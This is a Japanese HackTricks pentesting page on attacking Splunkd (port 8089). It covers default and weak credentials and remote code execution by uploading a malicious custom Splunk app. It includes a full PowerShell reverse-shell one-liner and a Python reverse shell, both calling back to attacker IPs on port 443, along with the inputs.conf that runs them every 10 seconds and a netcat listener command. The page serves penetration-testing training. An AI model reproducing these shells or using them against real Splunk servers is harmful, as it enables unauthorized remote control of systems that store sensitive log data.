10 KiB
8089 - Splunkdのペンテスト
**htARTE(HackTricks AWS Red Team Expert)** **htARTE(HackTricks AWS Red Team Expert)**を通じて、ゼロからヒーローまでAWSハッキングを学ぶ!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したい場合やHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスワッグを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- 💬 Discordグループやtelegramグループに参加するか、Twitter 🐦 @carlospolopmでフォローする。
- HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
基本情報
Splunkはログ分析ツールであり、データの収集、分析、可視化において重要な役割を果たします。最初の目的はSIEM(セキュリティ情報およびイベント管理)ツールとしてではなかったが、セキュリティ監視やビジネス分析の領域で人気を博しています。
Splunkの展開はしばしば機密データの保存に利用され、システムを侵害することに成功すれば、潜在的な攻撃者にとって貴重な情報源となり得ます。 デフォルトポート: 8089
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
{% hint style="info" %} Splunkウェブサーバーはデフォルトでポート8000で実行されます。 {% endhint %}
列挙
無料版
Splunk Enterpriseトライアルは60日後に無料版に変換され、認証が不要です。システム管理者がSplunkのトライアルをインストールして試すことは一般的であり、その後忘れ去られることがあります。これにより、認証のない無料版に自動的に変換され、環境にセキュリティホールが導入されます。予算の制約により一部の組織が無料版を選択することがあり、ユーザー/ロール管理の重要性を十分に理解していない可能性があります。
デフォルトの資格情報
古いバージョンのSplunkでは、デフォルトの資格情報は**admin:changeme
**であり、ログインページに便利に表示されています。
しかし、最新バージョンのSplunkでは、インストールプロセス中に資格情報が設定されます。デフォルトの資格情報が機能しない場合は、admin
、Welcome
、Welcome1
、Password123
などの一般的な弱いパスワードをチェックする価値があります。
情報の取得
Splunkにログインすると、データを閲覧したり、レポートを実行したり、ダッシュボードを作成したり、Splunkbaseライブラリからアプリケーションをインストールしたり、カスタムアプリケーションをインストールしたりできます。
コードも実行できます: Splunkには、サーバーサイドのDjangoアプリケーション、RESTエンドポイント、スクリプト入力、アラートスクリプトなど、コードを実行するための複数の方法があります。Splunkサーバーでリモートコード実行を行う一般的な方法は、スクリプト入力を使用することです。
また、SplunkはWindowsまたはLinuxホストにインストールできるため、Bash、PowerShell、またはBatchスクリプトを実行するためのスクリプト入力を作成できます。
Shodan
Splunkビルド
RCE
カスタムアプリケーションの作成
カスタムアプリケーションはPython、Batch、Bash、またはPowerShellスクリプトを実行できます。
SplunkにはPythonがインストールされていることに注意してください。そのため、WindowsシステムでもPythonコードを実行できます。
こちらのSplunkパッケージを使用して、手助けを受けることができます。このリポジトリの**bin
**ディレクトリには、PythonとPowerShellの例があります。これをステップバイステップで進めていきましょう。
これを達成するためには、以下のディレクトリ構造を使用してカスタムSplunkアプリケーションを作成する必要があります:
tree splunk_shell/
splunk_shell/
├── bin
└── default
bin
ディレクトリには、実行するスクリプト(この場合はPowerShellリバースシェル)が含まれ、デフォルトディレクトリにはinputs.conf
ファイルがあります。リバースシェルはPowerShellのワンライナーになります:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
The inputs.confファイルは、Splunkにどのスクリプトを実行するかとその他の条件を伝えます。ここでは、アプリを有効に設定し、Splunkにスクリプトを10秒ごとに実行するよう指示しています。インターバルは常に秒単位であり、この設定が存在する場合にのみ、入力(スクリプト)が実行されます。
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
次に、アプリケーションが展開されるときに実行され、PowerShellのワンライナーを実行する.bat
ファイルが必要です。
次のステップは、Install app from file
を選択し、アプリケーションをアップロードすることです。
悪意のあるカスタムアプリをアップロードする前に、Netcatまたはsocatを使用してリスナーを開始しましょう。
sudo nc -lnvp 443
listening on [any] 443 ...
Upload app ページで、Browse
をクリックし、先に作成した tarball を選択して Upload
をクリックします。アプリケーションをアップロードするとすぐに、アプリケーションのステータスが自動的に Enabled
に切り替わり、逆シェルが受信されます。
Linux
Linux ホストを扱っている場合、カスタムの悪意のあるアプリを作成して tarball をアップロードする前に、rev.py
Python スクリプトを編集する必要があります。プロセスの残りの部分は同じであり、Netcat リスナーで逆シェル接続を取得し、問題なく進行します。
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
RCE & 特権昇格
以下のページでは、このサービスがどのように悪用されて特権昇格や持続性の獲得に利用されるかについて説明があります:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}
参考文献
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE (HackTricks AWS Red Team Expert)!
HackTricks をサポートする他の方法:
- HackTricks で企業を宣伝したい または HackTricks をPDFでダウンロードしたい 場合は SUBSCRIPTION PLANS をチェックしてください!
- 公式PEASS & HackTricksのグッズを入手する
- The PEASS Family を発見し、独占的な NFTs のコレクションを見つける
- 💬 Discordグループ に参加するか、telegramグループ に参加するか、Twitter 🐦 @carlospolopm をフォローする。
- ハッキングテクニックを共有するために、 HackTricks と HackTricks Cloud のGitHubリポジトリにPRを提出する。